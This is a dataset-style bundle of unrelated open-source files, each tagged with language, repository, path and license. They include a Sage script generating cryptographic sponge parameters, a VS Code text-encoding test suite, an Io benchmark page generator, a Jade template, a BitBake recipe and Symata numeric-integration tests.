MNT4753_r = 41898490967918953402344214791240637128170709919953949071783502921025352812571106773058893763790338921418070971888458477323173057491593855069696241854796396165721416325350064441470418137846398469611935719059908164220784476160001
MNT6298_r = 475922286169261325753349249653048451545124879242694725395555128576210262817955800483758081
MNT6753_r = 41898490967918953402344214791240637128170709919953949071783502921025352812571106773058893763790338921418070971888253786114353726529584385201591605722013126468931404347949840543007986327743462853720628051692141265303114721689601
BN128_r = 21888242871839275222246405745257275088548364400416034343698204186575808495617
BN382_p = 5543634365110765627805495722742127385843376434033820803590214255538854698464778703795540858859767700241957783601153
BN382_q = 5543634365110765627805495722742127385843376434033820803592568747918351978899288491582778380528407187068941959692289
def random_value(F, prefix, i):
return F(int(hashlib.sha256('%s%d' % (prefix, i)).hexdigest(), 16))
m = 3
rounds = 100
prefix = 'CodaRescue'
def round_constants(F):
name = prefix + 'RoundConstants'
return [ [ random_value(F, name, r * m + i) for i in xrange(m) ]
for r in xrange( rounds ) ]
def matrix_str(of_string_wrap, rows):
return '[|' + ';'.join('[|' + ';'.join(of_string_wrap('"{}"'.format(str(x))) for x in row) + '|]' for row in rows) + '|]'
def mds(F):
name = prefix + 'MDS'
for attempt in xrange(100):
x_values = [random_value(F, name + 'x', attempt * m + i)
for i in xrange(m)]
y_values = [random_value(F, name + 'y', attempt * m + i)
for i in xrange(m)]
# Make sure the values are distinct.
assert len(set(x_values + y_values)) == 2 * m, \
'The values of x_values and y_values are not distinct'
mds = matrix([[1 / (x_values[i] - y_values[j]) for j in xrange(m)]
for i in xrange(m)])
# Sanity check: check the determinant of the matrix.
x_prod = product(
[x_values[i] - x_values[j] for i in xrange(m) for j in xrange(i)])
y_prod = product(
[y_values[i] - y_values[j] for i in xrange(m) for j in xrange(i)])
xy_prod = product(
[x_values[i] - y_values[j] for i in xrange(m) for j in xrange(m)])
expected_det = (1 if m % 4 < 2 else -1) * x_prod * y_prod / xy_prod
det = mds.determinant()
assert det != 0
assert det == expected_det, \
'Expected determinant %s. Found %s' % (expected_det, det)
if len(mds.characteristic_polynomial().roots()) == 0:
# There are no eigenvalues in the field.
return mds
curves = [ ('Bn128', BN128_r), ('Mnt4_298', MNT4298_r), ('Mnt4_753', MNT4753_r) ]
if sys.argv[1] == 'coda':
def module_strs(name, r_small, r_medium):
wrap = lambda s: 'str {}'.format(s)
F_small = FiniteField(r_small)
F_medium = FiniteField(r_medium)
strs = [
('let str x = {}_full.Bigint.R.(to_field (of_decimal_string x))'.format(name)),
('''[%%import "../../config.mlh"]'''),
('''[%%if curve_size = 298]'''),
('let inv_alpha = "432656623790237568866681136048225865041022616866203195957516123399240588461280445963602851"'),
('let mds ='),
(matrix_str(wrap, mds(F_small))),
('let round_constants ='),
(matrix_str(wrap, round_constants(F_small))),
('''
[%%elif
curve_size = 753]'''),
('let inv_alpha = "38089537243562684911222013446582397389246099927230862792530457200932138920519187975508085239809399019470973610807689524839248234083267140972451128958905814696110378477590967674064016488951271336010850653690825603837076796509091"'),
('let mds ='),
(matrix_str(wrap, mds(F_medium))),
('let round_constants ='),
(matrix_str(wrap, round_constants(F_medium))),
('''
[%%else]
[%%show
curve_size]
[%%error
"invalid value for \\"curve_size\\""]
[%%endif]''') ]
return 'module {} = struct {} end'.format(name, '\n'.join(strs))
print 'open Curve_choice'
print module_strs('Tick', MNT4298_r, MNT4753_r)
print module_strs('Tock', MNT6298_r, MNT6753_r)
else:
for name, r in [ ('Bn382_p', BN382_p), ('Bn382_q', BN382_q) ]:
wrap = lambda x: x
F = FiniteField(r)
print ('let params_{} = '.format(name)
+ '{ Params.mds=' + matrix_str(wrap, mds(F)) + ';'
+ 'round_constants= ' + matrix_str(wrap, round_constants(F))
+ '}' )
| Sage | 4 | Pratyush/snarky | sponge/params.sage | [
"MIT"
] |
i 00001 00 010 2002 00 020 2000
i 00002 00 021 2001 00 012 2003
i 00003 00 27 00013 00 010 2002
i 00004 00 020 2003 00 27 00013
i 00005 00 010 2002 00 020 2002
i 00006 00 021 2003 00 012 2003
i 00007 00 27 00013 00 010 2000
i 00010 00 021 2003 00 012 2003
i 00011 00 27 00013 00 22 00000
i 00012 06 33 12345 00 22 00000
i 00013 02 33 76543 00 22 00000
d 02000 7777 7777 7777 7777
d 02001 3777 7777 7777 7777
d 02002 5252 5252 5252 5252
d 02003 2525 2525 2525 2525
| Octave | 0 | besm6/mesm6 | test/apx_aux/apx_aux.oct | [
"MIT"
] |
<!--- contains comparison operations that don't 'do' anything --->
<cfscript>
x = {};
x.x = 1;
x.x == 2;
if (x.x == 2){
x=123;
}
x.x EQ 6;
b1 = x == y;
b2 = x EQ y;
</cfscript> | ColdFusion | 1 | tonym128/CFLint | src/test/resources/com/cflint/tests/CompareInsteadOfAssign/Compare1.cfm | [
"BSD-3-Clause"
] |
extends /templates/core/modal-base
block modal-header-content
h3(data-i18n="courses.change_language")
.clearfix
block modal-body-content
#choice-area.text-center
- var currentLanguage = (me.get('aceConfig') || {}).language || 'python';
button.lang-choice-btn.btn.btn-success.btn-lg(data-language='python')
if currentLanguage === 'python'
span.spr(data-i18n="courses.keep_using")
span Python
else
span.spr(data-i18n="courses.switch_to")
span Python
p
span.spr -
span.text-uppercase(data-i18n="general.or")
span.spl -
button.lang-choice-btn.btn.btn-default(data-language='javascript')
if currentLanguage === 'javascript'
span.spr(data-i18n="courses.keep_using")
span JavaScript
else
span.spr(data-i18n="courses.switch_to")
span JavaScript
#saving-progress.progress.progress-striped.active.hide
.progress-bar(style="width: 100%")
block modal-footer-content
| Jade | 4 | cihatislamdede/codecombat | app/templates/courses/change-course-language-modal.jade | [
"CC-BY-4.0",
"MIT"
] |
SUMMARY = "Initial boot script"
DESCRIPTION = "Script to do any first boot init, started as a systemd service which removes itself once finished"
LICENSE = "CLOSED"
SRC_URI = " \
file://S01modules \
file://S10partition \
file://S20network \
file://S99watchdog \
"
do_compile () {
}
do_install () {
install -d ${D}${sysconfdir}/rcS.d/
install -m 0755 ${WORKDIR}/S* ${D}${sysconfdir}/rcS.d/
}
| BitBake | 3 | abir1999/xiaoPi | bsp/meta-xiaopi/recipes-initscript/initscript/initscript.bb | [
"Unlicense"
] |
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
import * as assert from 'assert';
import { ITextFileService, snapshotToString, TextFileOperationError, TextFileOperationResult, stringToSnapshot } from 'vs/workbench/services/textfile/common/textfiles';
import { URI } from 'vs/base/common/uri';
import { join, basename } from 'vs/base/common/path';
import { UTF16le, UTF8_with_bom, UTF16be, UTF8, UTF16le_BOM, UTF16be_BOM, UTF8_BOM } from 'vs/workbench/services/textfile/common/encoding';
import { bufferToStream, VSBuffer } from 'vs/base/common/buffer';
import { createTextModel } from 'vs/editor/test/common/testTextModel';
import { ITextSnapshot, DefaultEndOfLine } from 'vs/editor/common/model';
import { isWindows } from 'vs/base/common/platform';
import { createTextBufferFactoryFromStream } from 'vs/editor/common/model/textModel';
export interface Params {
setup(): Promise<{
service: ITextFileService;
testDir: string;
}>;
teardown(): Promise<void>;
exists(fsPath: string): Promise<boolean>;
stat(fsPath: string): Promise<{ size: number }>;
readFile(fsPath: string): Promise<VSBuffer | Buffer>;
readFile(fsPath: string, encoding: string): Promise<string>;
readFile(fsPath: string, encoding?: string): Promise<VSBuffer | Buffer | string>;
detectEncodingByBOM(fsPath: string): Promise<typeof UTF16be | typeof UTF16le | typeof UTF8_with_bom | null>;
}
/**
* Allows us to reuse test suite across different environments.
*
* It introduces a bit of complexity with setup and teardown, however
* it helps us to ensure that tests are added for all environments at once,
* hence helps us catch bugs better.
*/
export default function createSuite(params: Params) {
let service: ITextFileService;
let testDir = '';
const { exists, stat, readFile, detectEncodingByBOM } = params;
setup(async () => {
const result = await params.setup();
service = result.service;
testDir = result.testDir;
});
teardown(async () => {
await params.teardown();
});
test('create - no encoding - content empty', async () => {
const resource = URI.file(join(testDir, 'small_new.txt'));
await service.create([{ resource }]);
const res = await readFile(resource.fsPath);
assert.strictEqual(res.byteLength, 0 /* no BOM */);
});
test('create - no encoding - content provided (string)', async () => {
const resource = URI.file(join(testDir, 'small_new.txt'));
await service.create([{ resource, value: 'Hello World' }]);
const res = await readFile(resource.fsPath);
assert.strictEqual(res.toString(), 'Hello World');
assert.strictEqual(res.byteLength, 'Hello World'.length);
});
test('create - no encoding - content provided (snapshot)', async () => {
const resource = URI.file(join(testDir, 'small_new.txt'));
await service.create([{ resource, value: stringToSnapshot('Hello World') }]);
const res = await readFile(resource.fsPath);
assert.strictEqual(res.toString(), 'Hello World');
assert.strictEqual(res.byteLength, 'Hello World'.length);
});
test('create - UTF 16 LE - no content', async () => {
const resource = URI.file(join(testDir, 'small_new.utf16le'));
await service.create([{ resource }]);
assert.strictEqual(await exists(resource.fsPath), true);
const detectedEncoding = await detectEncodingByBOM(resource.fsPath);
assert.strictEqual(detectedEncoding, UTF16le);
const res = await readFile(resource.fsPath);
assert.strictEqual(res.byteLength, UTF16le_BOM.length);
});
test('create - UTF 16 LE - content provided', async () => {
const resource = URI.file(join(testDir, 'small_new.utf16le'));
await service.create([{ resource, value: 'Hello World' }]);
assert.strictEqual(await exists(resource.fsPath), true);
const detectedEncoding = await detectEncodingByBOM(resource.fsPath);
assert.strictEqual(detectedEncoding, UTF16le);
const res = await readFile(resource.fsPath);
assert.strictEqual(res.byteLength, 'Hello World'.length * 2 /* UTF16 2bytes per char */ + UTF16le_BOM.length);
});
test('create - UTF 16 BE - no content', async () => {
const resource = URI.file(join(testDir, 'small_new.utf16be'));
await service.create([{ resource }]);
assert.strictEqual(await exists(resource.fsPath), true);
const detectedEncoding = await detectEncodingByBOM(resource.fsPath);
assert.strictEqual(detectedEncoding, UTF16be);
const res = await readFile(resource.fsPath);
assert.strictEqual(res.byteLength, UTF16le_BOM.length);
});
test('create - UTF 16 BE - content provided', async () => {
const resource = URI.file(join(testDir, 'small_new.utf16be'));
await service.create([{ resource, value: 'Hello World' }]);
assert.strictEqual(await exists(resource.fsPath), true);
const detectedEncoding = await detectEncodingByBOM(resource.fsPath);
assert.strictEqual(detectedEncoding, UTF16be);
const res = await readFile(resource.fsPath);
assert.strictEqual(res.byteLength, 'Hello World'.length * 2 /* UTF16 2bytes per char */ + UTF16be_BOM.length);
});
test('create - UTF 8 BOM - no content', async () => {
const resource = URI.file(join(testDir, 'small_new.utf8bom'));
await service.create([{ resource }]);
assert.strictEqual(await exists(resource.fsPath), true);
const detectedEncoding = await detectEncodingByBOM(resource.fsPath);
assert.strictEqual(detectedEncoding, UTF8_with_bom);
const res = await readFile(resource.fsPath);
assert.strictEqual(res.byteLength, UTF8_BOM.length);
});
test('create - UTF 8 BOM - content provided', async () => {
const resource = URI.file(join(testDir, 'small_new.utf8bom'));
await service.create([{ resource, value: 'Hello World' }]);
assert.strictEqual(await exists(resource.fsPath), true);
const detectedEncoding = await detectEncodingByBOM(resource.fsPath);
assert.strictEqual(detectedEncoding, UTF8_with_bom);
const res = await readFile(resource.fsPath);
assert.strictEqual(res.byteLength, 'Hello World'.length + UTF8_BOM.length);
});
function createTextModelSnapshot(text: string, preserveBOM?: boolean): ITextSnapshot {
const textModel = createTextModel(text);
const snapshot = textModel.createSnapshot(preserveBOM);
textModel.dispose();
return snapshot;
}
test('create - UTF 8 BOM - empty content - snapshot', async () => {
const resource = URI.file(join(testDir, 'small_new.utf8bom'));
await service.create([{ resource, value: createTextModelSnapshot('') }]);
assert.strictEqual(await exists(resource.fsPath), true);
const detectedEncoding = await detectEncodingByBOM(resource.fsPath);
assert.strictEqual(detectedEncoding, UTF8_with_bom);
const res = await readFile(resource.fsPath);
assert.strictEqual(res.byteLength, UTF8_BOM.length);
});
test('create - UTF 8 BOM - content provided - snapshot', async () => {
const resource = URI.file(join(testDir, 'small_new.utf8bom'));
await service.create([{ resource, value: createTextModelSnapshot('Hello World') }]);
assert.strictEqual(await exists(resource.fsPath), true);
const detectedEncoding = await detectEncodingByBOM(resource.fsPath);
assert.strictEqual(detectedEncoding, UTF8_with_bom);
const res = await readFile(resource.fsPath);
assert.strictEqual(res.byteLength, 'Hello World'.length + UTF8_BOM.length);
});
test('write - use encoding (UTF 16 BE) - small content as string', async () => {
await testEncoding(URI.file(join(testDir, 'small.txt')), UTF16be, 'Hello\nWorld', 'Hello\nWorld');
});
test('write - use encoding (UTF 16 BE) - small content as snapshot', async () => {
await testEncoding(URI.file(join(testDir, 'small.txt')), UTF16be, createTextModelSnapshot('Hello\nWorld'), 'Hello\nWorld');
});
test('write - use encoding (UTF 16 BE) - large content as string', async () => {
await testEncoding(URI.file(join(testDir, 'lorem.txt')), UTF16be, 'Hello\nWorld', 'Hello\nWorld');
});
test('write - use encoding (UTF 16 BE) - large content as snapshot', async () => {
await testEncoding(URI.file(join(testDir, 'lorem.txt')), UTF16be, createTextModelSnapshot('Hello\nWorld'), 'Hello\nWorld');
});
async function testEncoding(resource: URI, encoding: string, content: string | ITextSnapshot, expectedContent: string) {
await service.write(resource, content, { encoding });
const detectedEncoding = await detectEncodingByBOM(resource.fsPath);
assert.strictEqual(detectedEncoding, encoding);
const resolved = await service.readStream(resource);
assert.strictEqual(resolved.encoding, encoding);
assert.strictEqual(snapshotToString(resolved.value.create(isWindows ? DefaultEndOfLine.CRLF : DefaultEndOfLine.LF).textBuffer.createSnapshot(false)), expectedContent);
}
test('write - use encoding (cp1252)', async () => {
const filePath = join(testDir, 'some_cp1252.txt');
const contents = await readFile(filePath, 'utf8');
const eol = /\r\n/.test(contents) ? '\r\n' : '\n';
await testEncodingKeepsData(URI.file(filePath), 'cp1252', ['ObjectCount = LoadObjects("Öffentlicher Ordner");', '', 'Private = "Persönliche Information"', ''].join(eol));
});
test('write - use encoding (shiftjis)', async () => {
await testEncodingKeepsData(URI.file(join(testDir, 'some_shiftjis.txt')), 'shiftjis', '中文abc');
});
test('write - use encoding (gbk)', async () => {
await testEncodingKeepsData(URI.file(join(testDir, 'some_gbk.txt')), 'gbk', '中国abc');
});
test('write - use encoding (cyrillic)', async () => {
await testEncodingKeepsData(URI.file(join(testDir, 'some_cyrillic.txt')), 'cp866', 'АБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюя');
});
test('write - use encoding (big5)', async () => {
await testEncodingKeepsData(URI.file(join(testDir, 'some_big5.txt')), 'cp950', '中文abc');
});
async function testEncodingKeepsData(resource: URI, encoding: string, expected: string) {
let resolved = await service.readStream(resource, { encoding });
const content = snapshotToString(resolved.value.create(isWindows ? DefaultEndOfLine.CRLF : DefaultEndOfLine.LF).textBuffer.createSnapshot(false));
assert.strictEqual(content, expected);
await service.write(resource, content, { encoding });
resolved = await service.readStream(resource, { encoding });
assert.strictEqual(snapshotToString(resolved.value.create(DefaultEndOfLine.CRLF).textBuffer.createSnapshot(false)), content);
await service.write(resource, createTextModelSnapshot(content), { encoding });
resolved = await service.readStream(resource, { encoding });
assert.strictEqual(snapshotToString(resolved.value.create(DefaultEndOfLine.CRLF).textBuffer.createSnapshot(false)), content);
}
test('write - no encoding - content as string', async () => {
const resource = URI.file(join(testDir, 'small.txt'));
const content = (await readFile(resource.fsPath)).toString();
await service.write(resource, content);
const resolved = await service.readStream(resource);
assert.strictEqual(resolved.value.getFirstLineText(999999), content);
});
test('write - no encoding - content as snapshot', async () => {
const resource = URI.file(join(testDir, 'small.txt'));
const content = (await readFile(resource.fsPath)).toString();
await service.write(resource, createTextModelSnapshot(content));
const resolved = await service.readStream(resource);
assert.strictEqual(resolved.value.getFirstLineText(999999), content);
});
test('write - encoding preserved (UTF 16 LE) - content as string', async () => {
const resource = URI.file(join(testDir, 'some_utf16le.css'));
const resolved = await service.readStream(resource);
assert.strictEqual(resolved.encoding, UTF16le);
await testEncoding(URI.file(join(testDir, 'some_utf16le.css')), UTF16le, 'Hello\nWorld', 'Hello\nWorld');
});
test('write - encoding preserved (UTF 16 LE) - content as snapshot', async () => {
const resource = URI.file(join(testDir, 'some_utf16le.css'));
const resolved = await service.readStream(resource);
assert.strictEqual(resolved.encoding, UTF16le);
await testEncoding(URI.file(join(testDir, 'some_utf16le.css')), UTF16le, createTextModelSnapshot('Hello\nWorld'), 'Hello\nWorld');
});
test('write - UTF8 variations - content as string', async () => {
const resource = URI.file(join(testDir, 'index.html'));
let detectedEncoding = await detectEncodingByBOM(resource.fsPath);
assert.strictEqual(detectedEncoding, null);
const content = (await readFile(resource.fsPath)).toString() + 'updates';
await service.write(resource, content, { encoding: UTF8_with_bom });
detectedEncoding = await detectEncodingByBOM(resource.fsPath);
assert.strictEqual(detectedEncoding, UTF8_with_bom);
// ensure BOM preserved if enforced
await service.write(resource, content, { encoding: UTF8_with_bom });
detectedEncoding = await detectEncodingByBOM(resource.fsPath);
assert.strictEqual(detectedEncoding, UTF8_with_bom);
// allow to remove BOM
await service.write(resource, content, { encoding: UTF8 });
detectedEncoding = await detectEncodingByBOM(resource.fsPath);
assert.strictEqual(detectedEncoding, null);
// BOM does not come back
await service.write(resource, content, { encoding: UTF8 });
detectedEncoding = await detectEncodingByBOM(resource.fsPath);
assert.strictEqual(detectedEncoding, null);
});
test('write - UTF8 variations - content as snapshot', async () => {
const resource = URI.file(join(testDir, 'index.html'));
let detectedEncoding = await detectEncodingByBOM(resource.fsPath);
assert.strictEqual(detectedEncoding, null);
const model = createTextModel((await readFile(resource.fsPath)).toString() + 'updates');
await service.write(resource, model.createSnapshot(), { encoding: UTF8_with_bom });
detectedEncoding = await detectEncodingByBOM(resource.fsPath);
assert.strictEqual(detectedEncoding, UTF8_with_bom);
// ensure BOM preserved if enforced
await service.write(resource, model.createSnapshot(), { encoding: UTF8_with_bom });
detectedEncoding = await detectEncodingByBOM(resource.fsPath);
assert.strictEqual(detectedEncoding, UTF8_with_bom);
// allow to remove BOM
await service.write(resource, model.createSnapshot(), { encoding: UTF8 });
detectedEncoding = await detectEncodingByBOM(resource.fsPath);
assert.strictEqual(detectedEncoding, null);
// BOM does not come back
await service.write(resource, model.createSnapshot(), { encoding: UTF8 });
detectedEncoding = await detectEncodingByBOM(resource.fsPath);
assert.strictEqual(detectedEncoding, null);
model.dispose();
});
test('write - preserve UTF8 BOM - content as string', async () => {
const resource = URI.file(join(testDir, 'some_utf8_bom.txt'));
let detectedEncoding = await detectEncodingByBOM(resource.fsPath);
assert.strictEqual(detectedEncoding, UTF8_with_bom);
await service.write(resource, 'Hello World', { encoding: detectedEncoding! });
detectedEncoding = await detectEncodingByBOM(resource.fsPath);
assert.strictEqual(detectedEncoding, UTF8_with_bom);
});
test('write - ensure BOM in empty file - content as string', async () => {
const resource = URI.file(join(testDir, 'small.txt'));
await service.write(resource, '', { encoding: UTF8_with_bom });
const detectedEncoding = await detectEncodingByBOM(resource.fsPath);
assert.strictEqual(detectedEncoding, UTF8_with_bom);
});
test('write - ensure BOM in empty file - content as snapshot', async () => {
const resource = URI.file(join(testDir, 'small.txt'));
await service.write(resource, createTextModelSnapshot(''), { encoding: UTF8_with_bom });
const detectedEncoding = await detectEncodingByBOM(resource.fsPath);
assert.strictEqual(detectedEncoding, UTF8_with_bom);
});
test('readStream - small text', async () => {
const resource = URI.file(join(testDir, 'small.txt'));
await testReadStream(resource);
});
test('readStream - large text', async () => {
const resource = URI.file(join(testDir, 'lorem.txt'));
await testReadStream(resource);
});
async function testReadStream(resource: URI): Promise<void> {
const result = await service.readStream(resource);
assert.strictEqual(result.name, basename(resource.fsPath));
assert.strictEqual(result.size, (await stat(resource.fsPath)).size);
const content = (await readFile(resource.fsPath)).toString();
assert.strictEqual(
snapshotToString(result.value.create(DefaultEndOfLine.LF).textBuffer.createSnapshot(false)),
snapshotToString(createTextModelSnapshot(content, false)));
}
test('read - small text', async () => {
const resource = URI.file(join(testDir, 'small.txt'));
await testRead(resource);
});
test('read - large text', async () => {
const resource = URI.file(join(testDir, 'lorem.txt'));
await testRead(resource);
});
async function testRead(resource: URI): Promise<void> {
const result = await service.read(resource);
assert.strictEqual(result.name, basename(resource.fsPath));
assert.strictEqual(result.size, (await stat(resource.fsPath)).size);
assert.strictEqual(result.value, (await readFile(resource.fsPath)).toString());
}
test('readStream - encoding picked up (CP1252)', async () => {
const resource = URI.file(join(testDir, 'some_small_cp1252.txt'));
const encoding = 'windows1252';
const result = await service.readStream(resource, { encoding });
assert.strictEqual(result.encoding, encoding);
assert.strictEqual(result.value.getFirstLineText(999999), 'Private = "Persönlicheß Information"');
});
test('read - encoding picked up (CP1252)', async () => {
const resource = URI.file(join(testDir, 'some_small_cp1252.txt'));
const encoding = 'windows1252';
const result = await service.read(resource, { encoding });
assert.strictEqual(result.encoding, encoding);
assert.strictEqual(result.value, 'Private = "Persönlicheß Information"');
});
test('read - encoding picked up (binary)', async () => {
const resource = URI.file(join(testDir, 'some_small_cp1252.txt'));
const encoding = 'binary';
const result = await service.read(resource, { encoding });
assert.strictEqual(result.encoding, encoding);
assert.strictEqual(result.value, 'Private = "Persönlicheß Information"');
});
test('read - encoding picked up (base64)', async () => {
const resource = URI.file(join(testDir, 'some_small_cp1252.txt'));
const encoding = 'base64';
const result = await service.read(resource, { encoding });
assert.strictEqual(result.encoding, encoding);
assert.strictEqual(result.value, btoa('Private = "Persönlicheß Information"'));
});
test('readStream - user overrides BOM', async () => {
const resource = URI.file(join(testDir, 'some_utf16le.css'));
const result = await service.readStream(resource, { encoding: 'windows1252' });
assert.strictEqual(result.encoding, 'windows1252');
});
test('readStream - BOM removed', async () => {
const resource = URI.file(join(testDir, 'some_utf8_bom.txt'));
const result = await service.readStream(resource);
assert.strictEqual(result.value.getFirstLineText(999999), 'This is some UTF 8 with BOM file.');
});
test('readStream - invalid encoding', async () => {
const resource = URI.file(join(testDir, 'index.html'));
const result = await service.readStream(resource, { encoding: 'superduper' });
assert.strictEqual(result.encoding, 'utf8');
});
test('readStream - encoding override', async () => {
const resource = URI.file(join(testDir, 'some.utf16le'));
const result = await service.readStream(resource, { encoding: 'windows1252' });
assert.strictEqual(result.encoding, 'utf16le');
assert.strictEqual(result.value.getFirstLineText(999999), 'This is some UTF 16 with BOM file.');
});
test('readStream - large Big5', async () => {
await testLargeEncoding('big5', '中文abc');
});
test('readStream - large CP1252', async () => {
await testLargeEncoding('cp1252', 'öäüß');
});
test('readStream - large Cyrillic', async () => {
await testLargeEncoding('cp866', 'АБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюя');
});
test('readStream - large GBK', async () => {
await testLargeEncoding('gbk', '中国abc');
});
test('readStream - large ShiftJIS', async () => {
await testLargeEncoding('shiftjis', '中文abc');
});
test('readStream - large UTF8 BOM', async () => {
await testLargeEncoding('utf8bom', 'öäüß');
});
test('readStream - large UTF16 LE', async () => {
await testLargeEncoding('utf16le', 'öäüß');
});
test('readStream - large UTF16 BE', async () => {
await testLargeEncoding('utf16be', 'öäüß');
});
async function testLargeEncoding(encoding: string, needle: string): Promise<void> {
const resource = URI.file(join(testDir, `lorem_${encoding}.txt`));
// Verify via `ITextFileService.readStream`
const result = await service.readStream(resource, { encoding });
assert.strictEqual(result.encoding, encoding);
let contents = snapshotToString(result.value.create(DefaultEndOfLine.LF).textBuffer.createSnapshot(false));
assert.strictEqual(contents.indexOf(needle), 0);
assert.ok(contents.indexOf(needle, 10) > 0);
// Verify via `ITextFileService.getDecodedTextFactory`
const rawFile = await params.readFile(resource.fsPath);
let rawFileVSBuffer: VSBuffer;
if (rawFile instanceof VSBuffer) {
rawFileVSBuffer = rawFile;
} else {
rawFileVSBuffer = VSBuffer.wrap(rawFile);
}
const factory = await createTextBufferFactoryFromStream(await service.getDecodedStream(resource, bufferToStream(rawFileVSBuffer), { encoding }));
contents = snapshotToString(factory.create(DefaultEndOfLine.LF).textBuffer.createSnapshot(false));
assert.strictEqual(contents.indexOf(needle), 0);
assert.ok(contents.indexOf(needle, 10) > 0);
}
test('readStream - UTF16 LE (no BOM)', async () => {
const resource = URI.file(join(testDir, 'utf16_le_nobom.txt'));
const result = await service.readStream(resource);
assert.strictEqual(result.encoding, 'utf16le');
});
test('readStream - UTF16 BE (no BOM)', async () => {
const resource = URI.file(join(testDir, 'utf16_be_nobom.txt'));
const result = await service.readStream(resource);
assert.strictEqual(result.encoding, 'utf16be');
});
test('readStream - autoguessEncoding', async () => {
const resource = URI.file(join(testDir, 'some_cp1252.txt'));
const result = await service.readStream(resource, { autoGuessEncoding: true });
assert.strictEqual(result.encoding, 'windows1252');
});
test('readStream - FILE_IS_BINARY', async () => {
const resource = URI.file(join(testDir, 'binary.txt'));
let error: TextFileOperationError | undefined = undefined;
try {
await service.readStream(resource, { acceptTextOnly: true });
} catch (err) {
error = err;
}
assert.ok(error);
assert.strictEqual(error!.textFileOperationResult, TextFileOperationResult.FILE_IS_BINARY);
const result = await service.readStream(URI.file(join(testDir, 'small.txt')), { acceptTextOnly: true });
assert.strictEqual(result.name, 'small.txt');
});
test('read - FILE_IS_BINARY', async () => {
const resource = URI.file(join(testDir, 'binary.txt'));
let error: TextFileOperationError | undefined = undefined;
try {
await service.read(resource, { acceptTextOnly: true });
} catch (err) {
error = err;
}
assert.ok(error);
assert.strictEqual(error!.textFileOperationResult, TextFileOperationResult.FILE_IS_BINARY);
const result = await service.read(URI.file(join(testDir, 'small.txt')), { acceptTextOnly: true });
assert.strictEqual(result.name, 'small.txt');
});
}
| TypeScript | 5 | EngineLessCC/vscode | src/vs/workbench/services/textfile/test/common/textFileService.io.test.ts | [
"MIT"
] |
#!/usr/bin/env io
write("""
<html>
<head>
<link rel="stylesheet" href="http://www.iolanguage.com/site.css">
</head>
<body>
<ul>
""")
template := """
<table cellpadding=3 cellspacing=0 border=0>
<tr>
<td bgcolor=@color@ width=@length@><font color=@fontColor@>@name@ @time@</font></td>
</tr>
</table>
"""
template := """
<table cellpadding=3 cellspacing=0 border=0>
<tr>
<td bgcolor=@color@ width=45><font color=@fontColor@>@name@</td>
<td bgcolor=@color@ width=30 align=right><font color=@fontColor@>@time@</td>
<td bgcolor=@color@ width=@length@> </td>
</tr>
</table>
"""
//<td><font color=#f2f2f2>@time@</td>
slotNames := list(
"localAccesses",
"localSets",
"slotAccesses",
"slotSets",
"blockActivations",
"instantiations")
SpeedTestResult := Object clone do(
name ::= ""
color ::= "#888888"
fontColor ::= "#aaaaaa"
showBarFor := method(slotName, scale,
value := self getSlot(slotName)
t := template asBuffer
t replaceSeq("@name@", name)
t replaceSeq("@time@", value asString(0, 1) )
t replaceSeq("@length@", ((value * 300 / scale) - 75) asString(0, 0))
t replaceSeq("@color@", color)
t replaceSeq("@fontColor@", fontColor)
write(t, "\n\n")
)
)
Io := SpeedTestResult clone setName("Io")
Io setColor("#9999cc")
Io setFontColor("#bbbbee")
Python := SpeedTestResult clone setName("Python")
Ruby := SpeedTestResult clone setName("Ruby")
languages := list(Io, Python, Ruby)
doFile(Path with(System launchPath, "SpeedResults"))
write("<br>Values are in millions of operations per second, so larger values are better.")
slotNames foreach(slotName,
write("<p>", slotName, "<ul><table cellspacing=1 cellpadding=0 border=0>")
languages foreach(language,
write("<tr><td>")
language showBarFor(slotName, languages at(1) getSlot(slotName))
write("</td></tr>")
)
write("</table></ul>")
)
write("<p>versions<p><ul>")
languages foreach(language,
write(language name, " ", language version, "<br>")
)
write("</ul>")
write("</ul>")
//System system("machine")
| Io | 3 | akluth/io | samples/speed/speedResults.io | [
"BSD-3-Clause"
] |
ClearAll(approxeq, f, f1, x)
# Check that someone does not pick up the global (Symata) binding
# upgrade 0.7 . Why did the following happen ?
#x = 1.0
# Use Function compiled from Julia code
# FIXME: method too new
# f1 = J( x -> x^2)
# codefile = J( joinpath(Symata.SYMATA_LANG_TEST_PATH, "numeric_code.sj"))
# Get(codefile)
# T approxeq(NIntegrate(f1, [0,2])[1], 8.0/3)
approxeq(x_, y_) := Abs(x-y) < 1.0*10^(-8)
# Different ways to give integrand to NIntegrate
# Issue #71
T approxeq( NIntegrate(x, [0,3])[1], 4.5)
T approxeq( NIntegrate(x, [x,0,3])[1], 4.5)
# Explicitly compile Symata to Julia function
# FIXME: Method is too new. This will happen with
# every function created in Symata code.
# T approxeq(NIntegrate(Compile([x], x^2), [0,2])[1], 8.0/3)
## FIXME: method too new
# ex = Compile([x], x^2)
# T approxeq( NIntegrate(ex, [0,2])[1], 8.0/3)
# Wrap Symata expression
f(x_) := x^2
T approxeq(NIntegrate(f(x), [x,0,2])[1], 8.0/3)
# Wrap Symata expression
T approxeq(NIntegrate(x^2, [x,0,2])[1], 8.0/3)
# Test evaluation succeeds with deep expression.
# We forgot Attribute HoldAll
T (NIntegrate( (Exp(-x)^2 + x/(1+x))^2 + x , [x,0.0,2]), True)
T (NIntegrate( Exp(-x), [x,0.0,2]), True)
a = 2.0
T approxeq(NIntegrate(Exp(-x)*x^(a-1), [x,0,Infinity])[1], 1)
mygamma(a_) := NIntegrate(Exp(-x)*x^(a-1), [x,0,Infinity])[1]
T approxeq(mygamma(3.0), Gamma(3.0))
T approxeq(mygamma(4.0), Gamma(4.0))
T approxeq(mygamma(5.0), Gamma(5.0))
ClearAll(ex, f, f1, x)
f = Compile([x], E^x)
T approxeq(f(1), N(E))
f = Compile([x], Cos(Pi*x))
T approxeq(f(1), -1)
ClearAll(x)
T ToJuliaString( x^2 + Cos(x), NoSymata => False) == "mplus(mpow(x, 2), Cos(x))"
T ToJuliaString( x^2 + Cos(x), NoSymata => True) == "x ^ 2 + cos(x)"
ClearAll(approxeq, f, f1, x, a, mygamma)
ClearTemporary()
